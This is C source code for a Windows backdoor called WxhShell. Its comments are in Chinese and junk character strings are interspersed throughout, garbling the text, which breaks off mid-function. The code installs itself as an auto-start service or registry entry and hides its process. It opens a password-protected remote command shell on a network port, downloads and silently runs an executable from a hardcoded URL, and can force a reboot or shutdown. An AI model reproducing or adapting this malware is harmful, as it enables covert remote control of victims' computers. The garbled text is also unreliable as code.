!/. HANDLE hProcess; B[f:T% PROCESS_BASIC_INFORMATION pbi; 9\E];~"iP *$JS}Pax HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q&PEO%/D if(NULL == hInst ) return 0; ;Yg/y m1tc="j g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dDA&\BuS g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); &t'P>6) NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); G[fg!vig#7 `d
x.<R#, if (!NtQueryInformationProcess) return 0; qjf4G[]! (9] =;) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WS1Y maV if(!hProcess) return 0; V.yDZ" nn">
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `Cy;/95m [s%uE+``S CloseHandle(hProcess); g( S4i%\ 6pZ/C<Y|W hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6$csFW3R if(hProcess==NULL) return 0; X&@>M} wLg@BSC. HMODULE hMod; Y]B9*^d< char procName[255]; q'Y)Y(d unsigned long cbNeeded; \TYH7wXDP 9/R=_y- if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4s <ZKU >{0,dGm CloseHandle(hProcess); wNh\pWA
%Rm`YH? if(strstr(procName,"services")) return 1; // 以服务启动 PA,\o8]x 5fp&!HnG return 0; // 注册表启动 =#%Vs>G } =jU#0FAO )M56vyo // 主模块 aLQ]2m int StartWxhshell(LPSTR lpCmdLine) sE^=]N { 3YEw7GIO- SOCKET wsl; >bO}sx1? BOOL val=TRUE; nv:VX{% int port=0; |4` ;G(ta struct sockaddr_in door; =feVT2* ,pdf$)
XB if(wscfg.ws_autoins) Install(); RNcnE1= f4|ir3oy port=atoi(lpCmdLine); }|c-i.0= /BM{tH if(port<=0) port=wscfg.ws_port; F/df!I~ P4s,N|bs` WSADATA data; quq !Jswn if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8ROZ]Xh,x th{Ib@o if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; r#6djs1 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4X>=UO``L door.sin_family = AF_INET; LcHe5Bv% door.sin_addr.s_addr = inet_addr("127.0.0.1"); -8t&&fIA door.sin_port = htons(port); SMA' VU wPJA+ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1f2*S$[*L closesocket(wsl); gy5R"_ M U return 1; &Z7 NF| } !Bhs8eGr3 bp P3#~
K if(listen(wsl,2) == INVALID_SOCKET) { -{$L`{|G closesocket(wsl); ,mt=)Ac return 1; "Y=4Y;5q } Z.U8d( Wxhshell(wsl); ;W@ WSACleanup(); !q^2| % A$::|2~ return 0; ;7mE%1X N6!9QIu~i } PD:lI]:s h)X"<a++N // 以NT服务方式启动 X`k#/~+0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OkQtM
nq { oUN;u*
DWORD status = 0; 8fb<hq< DWORD specificError = 0xfffffff; a0&R! E; b5^-qc6X serviceStatus.dwServiceType = SERVICE_WIN32; ;k,#o!> serviceStatus.dwCurrentState = SERVICE_START_PENDING; cN]g^ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; iE"+-z\U serviceStatus.dwWin32ExitCode = 0; )Tf,G[z&ge serviceStatus.dwServiceSpecificExitCode = 0; 7KV0g1GQ serviceStatus.dwCheckPoint = 0; VyOpPIP serviceStatus.dwWaitHint = 0; mX@!O[f%9e bN>|4hS hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ?T8^tGD[ if (hServiceStatusHandle==0) return; 5?Rzyfwk| V<t!gT#&o! status = GetLastError(); SD1M`PI if (status!=NO_ERROR) j g(cpo d { +J2;6t serviceStatus.dwCurrentState = SERVICE_STOPPED; #AH<dS serviceStatus.dwCheckPoint = 0; [CG*o>n&| serviceStatus.dwWaitHint = 0; 0G#s/u# serviceStatus.dwWin32ExitCode = status; Y?IX V*J serviceStatus.dwServiceSpecificExitCode = specificError; =XZd_v SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?.69nN return; c(lG_"q6 } $1bzsB|^ Y:]m~-T serviceStatus.dwCurrentState = SERVICE_RUNNING; tS3{y*yi serviceStatus.dwCheckPoint = 0; WCwM+D serviceStatus.dwWaitHint = 0; ~JDVoS;>jU if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w\5;;9_# } 9S<atMB !<4 =@ // 处理NT服务事件,比如:启动、停止 kaNK@a=e|/ VOID WINAPI NTServiceHandler(DWORD fdwControl) rSNaflYAr { RhSoD.Da switch(fdwControl) s.>;(RiJd { =_vW7-H case SERVICE_CONTROL_STOP: M}N[> ,2' serviceStatus.dwWin32ExitCode = 0; 3;wOA4ur serviceStatus.dwCurrentState = SERVICE_STOPPED; bA(-7l? serviceStatus.dwCheckPoint = 0; 7\EY&KI"0 serviceStatus.dwWaitHint = 0; 2NZC,znQ { #CNK [y SetServiceStatus(hServiceStatusHandle, &serviceStatus); NFBhnNH+ } #;s5=aH return; pLsWy&G case SERVICE_CONTROL_PAUSE: pXoT@[} serviceStatus.dwCurrentState = SERVICE_PAUSED; 5>S)+p break; Jm]P,jaLc case SERVICE_CONTROL_CONTINUE: ECLQqjB serviceStatus.dwCurrentState = SERVICE_RUNNING; JnXVI!+JDL break; "Rr650w[ case SERVICE_CONTROL_INTERROGATE: 0GMov]W?i break; vQ1#Zgy }; :lp
V SetServiceStatus(hServiceStatusHandle, &serviceStatus); p!H'JNG } `fq# W#Pu '\/|K // 标准应用程序主函数 YG#.L}X@C int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ac#I$V- { VK^m]??s_ ?m:,hI // 获取操作系统版本 75*q^ui OsIsNt=GetOsVer(); G
q2@37U GetModuleFileName(NULL,ExeFile,MAX_PATH); i'uSu8$'* vALH!Kh // 从命令行安装 \EQCR[7qu7 if(strpbrk(lpCmdLine,"iI")) Install(); x\'95qU #A9rI;"XI // 下载执行文件 ]O+W+h{] if(wscfg.ws_downexe) { EOzw&M];r if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ks\\2$Cm7 WinExec(wscfg.ws_filenam,SW_HIDE); xA]}/* } O
<"\G!y~ N:&EFfg3 if(!OsIsNt) { >\ x!a:} // 如果时win9x,隐藏进程并且设置为注册表启动 {*AYhZ HideProc(); ! ^TCe8 StartWxhshell(lpCmdLine); tY!GJusd } bTW#
f$q:4 else G^qt@,n$; if(StartFromService()) XywsjeI4 // 以服务方式启动 l1ViUY&Z StartServiceCtrlDispatcher(DispatchTable); Z:Y_{YAD else }MW+K&sIh // 普通方式启动 7s}Eq~ StartWxhshell(lpCmdLine); GfL:0 .[C@p`DZ return 0; ,]_<8@R } p\ _& o ^Ro 54i ,HtXD~N 3D2i32Y@! =========================================== }C<$q 9UE)4*5 7~m[:Eg6[s v)%0`%nSR %>!$eCX R 9b0D>Lxt "
u E<1PgW ,<!v!~Iy #include <stdio.h> JNxrs~} #include <string.h> r Zg(%6@ #include <windows.h> V[ 'lB.&t #include <winsock2.h> eizni\ #include <winsvc.h> n+SHkrW #include <urlmon.h>
-wQ@z6R nIf~ds&TT #pragma comment (lib, "Ws2_32.lib") U~q2j#pJ #pragma comment (lib, "urlmon.lib") GtpBd40" -X_dY>>s #define MAX_USER 100 // 最大客户端连接数 9|qzFmE# #define BUF_SOCK 200 // sock buffer rIQ%X`Y #define KEY_BUFF 255 // 输入 buffer D /bF D&!c7_ ^ #define REBOOT 0 // 重启 hK 1 H'~c #define SHUTDOWN 1 // 关机 K2!GpGZu 84A:Rd'k3) #define DEF_PORT 5000 // 监听端口 't3&,:Y [K""6D #define REG_LEN 16 // 注册表键长度 );=0cnr3 #define SVC_LEN 80 // NT服务名长度 s|!lw 1Ms_2 // 从dll定义API jAak,[~; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *IWWD\U typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1w'W)x typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6\vaR# typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W=\45BJ T$*#q('1"} // wxhshell配置信息 0t2n7Y?N struct WSCFG { 6d/1PGB int ws_port; // 监听端口 yyM`J7]J char ws_passstr[REG_LEN]; // 口令 DLD 5> int ws_autoins; // 安装标记, 1=yes 0=no PpezWo)9 char ws_regname[REG_LEN]; // 注册表键名 e3,@prr char ws_svcname[REG_LEN]; // 服务名 n<e1=L char ws_svcdisp[SVC_LEN]; // 服务显示名 mKuY=#R P char ws_svcdesc[SVC_LEN]; // 服务描述信息 <ZjT4>< char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y_LFkZ int ws_downexe; // 下载执行标记, 1=yes 0=no AwWo,Y399h char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" __|Y59J% char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bkFO4OZd N^f_hL|:9 }; r -$VPW /_1q)`NYy // default Wxhshell configuration qFN`pe, struct WSCFG wscfg={DEF_PORT, 8,-U`. "xuhuanlingzhe", K@tEL Yb 1, V@r V+s "Wxhshell", BKKW3PT "Wxhshell", dF$&fo% "WxhShell Service", TGHyBPJb "Wrsky Windows CmdShell Service", Af Y]i "Please Input Your Password: ", U3~rtc* 1, y
'Ah*h "http://www.wrsky.com/wxhshell.exe", A$70!5* "Wxhshell.exe" jx14/E+^ }; qi$nG_<<Z %>Mcme>(W // 消息定义模块 >f70-D28 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5O[\gd- char *msg_ws_prompt="\n\r? for help\n\r#>"; L [&|<<c
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1|:'jK#gE char *msg_ws_ext="\n\rExit."; /<1zzeHRSD char *msg_ws_end="\n\rQuit."; +h@ZnFp3 char *msg_ws_boot="\n\rReboot..."; ca<OG;R^ char *msg_ws_poff="\n\rShutdown..."; DdqE6qE char *msg_ws_down="\n\rSave to "; xM=?ES Jk;dtLL}4 char *msg_ws_err="\n\rErr!"; &Gs/#2XQ char *msg_ws_ok="\n\rOK!"; ~rlPS#]o !GnwE char ExeFile[MAX_PATH]; 1>L8EImx]V int nUser = 0; Dg*'n HANDLE handles[MAX_USER]; QYc/f"9 int OsIsNt; mcTC'. 9 E8L\3V4 SERVICE_STATUS serviceStatus; lUd4`r" SERVICE_STATUS_HANDLE hServiceStatusHandle; [*1:?mD$ $kc cM&B // 函数声明 )v\ A8)[ int Install(void); 'm0_pM1:D int Uninstall(void); y+h/jEbM</ int DownloadFile(char *sURL, SOCKET wsh); hWi2S!*Y int Boot(int flag); m-]F]c=)w< void HideProc(void); p^ ONJL int GetOsVer(void); o_a' <7\#i int Wxhshell(SOCKET wsl); |k#EYf#Y void TalkWithClient(void *cs); r4Xaa< int CmdShell(SOCKET sock); S
9|^VU int StartFromService(void); MavidkS
int StartWxhshell(LPSTR lpCmdLine); \%_sL#? b%7zu}F VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b9VI(s> VOID WINAPI NTServiceHandler( DWORD fdwControl ); }Z)YK}_1 Q w)U // 数据结构和表定义 w5=<}1`St SERVICE_TABLE_ENTRY DispatchTable[] = )JY#8,{w { kQ"Ax? b {wscfg.ws_svcname, NTServiceMain}, oiOu169] {NULL, NULL} vI]V@il }; =R*IOJ p-*{x // 自我安装 cZ3A~dTOR int Install(void) A3|2;4t { mbHMy[R char svExeFile[MAX_PATH]; 9Zr6 KA{ HKEY key; ;H9 W:_ahE strcpy(svExeFile,ExeFile); R)-~5"}~ >0?ph<h1[q // 如果是win9x系统,修改注册表设为自启动 qv[w
1;U" if(!OsIsNt) { GJ:oUi if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2V*;=cv~z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J;ycAF ~ RegCloseKey(key); z{/#/,V5D4 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -.K'rW RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6=96 ^o* RegCloseKey(key); h+w1 D} * return 0; WW-}c;cnK } ?
M.'YB2 } qp{~OW3 } xeKm} MN]S else { ,YRBYK: #Q BW%L // 如果是NT以上系统,安装为系统服务 JsEnhE}] SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); WR_B:%W. if (schSCManager!=0) 4#W*f3d[@: { L s+zJ1 SC_HANDLE schService = CreateService *VaQ\]:d ( $`P]%I} schSCManager, :lu "14 wscfg.ws_svcname, bI8')a wscfg.ws_svcdisp, #mD_<@@ SERVICE_ALL_ACCESS, ?rziKT5OOC SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &{q< SERVICE_AUTO_START, t"OP* SERVICE_ERROR_NORMAL, $ago svExeFile, fKO@Qx] NULL, qDgy7kkQ NULL, goND S5} NULL, bK{ VjXF NULL, &'Xgf!x NULL Kd\d>&b ); X9?0`6Li if (schService!=0) HY;kV6g{P { /J9Or{#r CloseServiceHandle(schService); PKd'lo CloseServiceHandle(schSCManager); X{ :3UTBR strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,;Uf>8~ strcat(svExeFile,wscfg.ws_svcname); Hs6Kki1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { A@-U#UvN RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); OTNI@jQ) RegCloseKey(key); +pQ3bX return 0; A)&CI6( } M !X^2 } |io)?`pj CloseServiceHandle(schSCManager); -Rx;"J.H } ^}`24~|y } :ciD!Ly -Ir>pY\! return 1; uo;m } ,W;|K 5 uo(LZUjPbN // 自我卸载 6$l?D^{ int Uninstall(void) 24wr=5p]Q { QZ[S,
c^ HKEY key; KOoV'YSC[( 8idI Jm%y if(!OsIsNt) { @LSX@V
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CWJN{ RegDeleteValue(key,wscfg.ws_regname); f{uS RegCloseKey(key); ;f=.SJF if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wFjQ1<s= RegDeleteValue(key,wscfg.ws_regname); gSf> +| RegCloseKey(key); ^z~drcR return 0; 1 |/ |Lq%w } h")7kjM } tY:,9eh7B } _xBhMu2f else { EVE"F'Ww,_ &.PAIe. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ux,eY if (schSCManager!=0) SLp nVD:'1 { U#<{RqY SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F`,Hf Cb\ if (schService!=0) Nq|y\3] { SR_-wD if(DeleteService(schService)!=0) { Tt=;of{ CloseServiceHandle(schService); m"6K_4r] CloseServiceHandle(schSCManager); p#3G=FV return 0;
m3^D~4 } mx#)iHY CloseServiceHandle(schService); `$FB[Z} & } DghqSL^s CloseServiceHandle(schSCManager); =NSunW! } d(Hqj#`-31 } AYfe_Dj s,l*=< return 1; BuUM~k&SY } T0.sL9 P>^$X // 从指定url下载文件 "z=~7g int DownloadFile(char *sURL, SOCKET wsh) t:xTmK&vt { 8 qZbsZi4 HRESULT hr; O@w_"TJP/z char seps[]= "/"; OMd:#cWsQ char *token; U??OiKVZ+ char *file; C5jt(!pi char myURL[MAX_PATH]; ="PFCxi char myFILE[MAX_PATH]; XqwP<5Z .F[5{XV strcpy(myURL,sURL); d/awQXKe7 token=strtok(myURL,seps); P0U&+^W"9 while(token!=NULL) 4ElS_u^cP7 { C~'.3Q6 file=token; 'pO-h,{TS token=strtok(NULL,seps); [fELf(;( } V|*3*W s
OLjT34 GetCurrentDirectory(MAX_PATH,myFILE); UIU6rilB strcat(myFILE, "\\"); 8@|{n`n] strcat(myFILE, file); \< a^5' send(wsh,myFILE,strlen(myFILE),0); }o\} qu* send(wsh,"...",3,0); 6Q{OM:L/;. hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); mS49l if(hr==S_OK) !DV0u)k( return 0; N P5K1: else f zL5C2d return 1; =
C/F26=| jl>wvY|| } /b/ 6*& }_H\75Iv // 系统电源模块 kf#S"[/E int Boot(int flag) NzN"_o jM { Zv?"1Y< L HANDLE hToken; y{~tMpo< TOKEN_PRIVILEGES tkp; I|;C}lfp W7{^/s5r if(OsIsNt) { B|{E[]iK OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VW;E14 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DJqJ6 z:' tkp.PrivilegeCount = 1; 8o.|P8% tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =H}x AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dP>FXgY if(flag==REBOOT) { gv i!|!M= if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #
@7I return 0; 7Jz9%iP } )n[=)"rf else { DbtkWq% if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6\.LG4@LO return 0; \'|t>|zhp } $Il } }wI+eMr else { $ub0$S/Hu if(flag==REBOOT) { DG&aFmC if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) a=v H:D return 0; WGyPyG#Fl } Dd-a*6|x else { rj?c if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }([}A`@ return 0; BWB}bq } C~.T[Mlu } kjXwVGK=P< s?4nR:ZC} return 1; r`RLDN!` } e-1G\}E 'q RQO(9&m // win9x进程隐藏模块 +oHbAPs8 void HideProc(void) ou`KkY|| {
.C5JQO zz(EH<> HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nwqA\ if ( hKernel != NULL ) Y0m?ZVt { yJ6g{#X4K< pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q|r*4={^!* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eZ0-O /_i FreeLibrary(hKernel); 1TF S2R n } BHErc\ITP ![J_6f}! return; ~k}O"{
y } SUW=-M x3.,zfWs // 获取操作系统版本 j*;.>akY7 int GetOsVer(void) \~t!M~H { TmM~uc7mj OSVERSIONINFO winfo; %az6\"n winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G)_Zls2; GetVersionEx(&winfo); 1K R4Wq@ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <(V~eo
e return 1; kLpq{GUv: else PSX
o" return 0; nV`W0r(f' } y9=<q%Kc- &] xtx>qg< // 客户端句柄模块 |x>5 T} int Wxhshell(SOCKET wsl) <aI}+ { Cb.M SOCKET wsh; */K]sQZa struct sockaddr_in client; og&h$<uOZt DWORD myID; 6UL9+9[C z<0/#OP' while(nUser<MAX_USER) k`5K& { )|AxQPd int nSize=sizeof(client); -})zRL0!' wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z+[W@5q if(wsh==INVALID_SOCKET) return 1; f/4DFs{ iun_z$I<+Z handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t~) g)=> if(handles[nUser]==0) 8pp;"
"b closesocket(wsh); KGI<G else UIht`[(z nUser++; r6:e
423 } Y>~jho WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {Ve`VV5E pK"Z9y& return 0; In+2~Jw/2! } #^$_3AY F2EX7Crj // 关闭 socket ?32i1F! void CloseIt(SOCKET wsh) \C$cbI=;+ { qElPYN*wF closesocket(wsh); vL^ +X`.td nUser--; y=[{:
ExitThread(0); h(4\k?C5 } jpoNTl' rls{~ZRl // 客户端请求句柄 u]ps-R_$G void TalkWithClient(void *cs) +4rd
N\. { m|
7v76( oJ/=&c SOCKET wsh=(SOCKET)cs; sBqOcy char pwd[SVC_LEN]; VwK7\jV char cmd[KEY_BUFF]; Ai5+ ;8z+ char chr[1];
K\s<<dRa int i,j; -dfs8 [i GMoz$c6n_ while (nUser < MAX_USER) { #CB Kt, jc#gn&4C if(wscfg.ws_passstr) { }n'W0Sa if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [
q[2\F?CE //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,Tk53 " //ZeroMemory(pwd,KEY_BUFF); zqZ/z>Gf i=0; NmF8BmIj while(i<SVC_LEN) { .f>7a;V?} {eQijW2Z3 // 设置超时 lQm7`+ fd_set FdRead; 8LXK3D}?3 struct timeval TimeOut; )V*`(dn'zm FD_ZERO(&FdRead); ?U1Nm~'UZ FD_SET(wsh,&FdRead); T1x67 b
u TimeOut.tv_sec=8; CJs
~!ww TimeOut.tv_usec=0; {G<1. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [qkc6sqo if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (XFF}~>B. }nO%q6|\V if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2+g'ul` pwd=chr[0]; }jdmeD: if(chr[0]==0xd || chr[0]==0xa) { Cn5;h(r pwd=0; r)Ml-r= break; _u6MSRX[6$ } iU3PlF[B/o i++; RUVrX`u*( } <p2\;\?4z l7IF9b$c // 如果是非法用户,关闭 socket N%e^2O) if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]&P 4QT)f } *Ue#Sade 2:e7'}\D. send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); CteNJBm send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U9awN&1([ eYUq0~3 while(1) { lk
/Ke |_ U!i ZeroMemory(cmd,KEY_BUFF); q]SH'Wd Z$6B}cz< // 自动支持客户端 telnet标准 kr!>rqN5 j=0; N3oa!PE while(j<KEY_BUFF) { av:%wJUl,$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ld 1[Usaq cmd[j]=chr[0]; <JvYCWX` if(chr[0]==0xa || chr[0]==0xd) { cjd-B:l cmd[j]=0; S?VKzVDB.S break; 2t>>08T } R9QW%!:,\2 j++; d5R2J:dI } %Q;:nVt H6`zzH0" // 下载文件 F"3'~6 if(strstr(cmd,"http://")) { c+8 Y|GB send(wsh,msg_ws_down,strlen(msg_ws_down),0); _x,(576~ if(DownloadFile(cmd,wsh)) /ZH* t \ send(wsh,msg_ws_err,strlen(msg_ws_err),0); NJOV!\k else 6KPjZC< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BuxU+ } mS0;2xU else { ;<xPzf lEb H4 g switch(cmd[0]) { $~?)E;S
^v:XON< // 帮助 Ay%]l| Gm case '?': { nB5^ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g9d/nRX& break; q~*|Wd'& } o? K>ji! // 安装 ]"j%:fr case 'i': { */$] kE if(Install()) ,JPDPI/a send(wsh,msg_ws_err,strlen(msg_ws_err),0); t^%)d7$ else 54RexB o send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u^x<xw6f break; Qp2~ `hD } m"AyO"}I5 // 卸载 uv{*f)j/d case 'r': { wWq-zGH|& |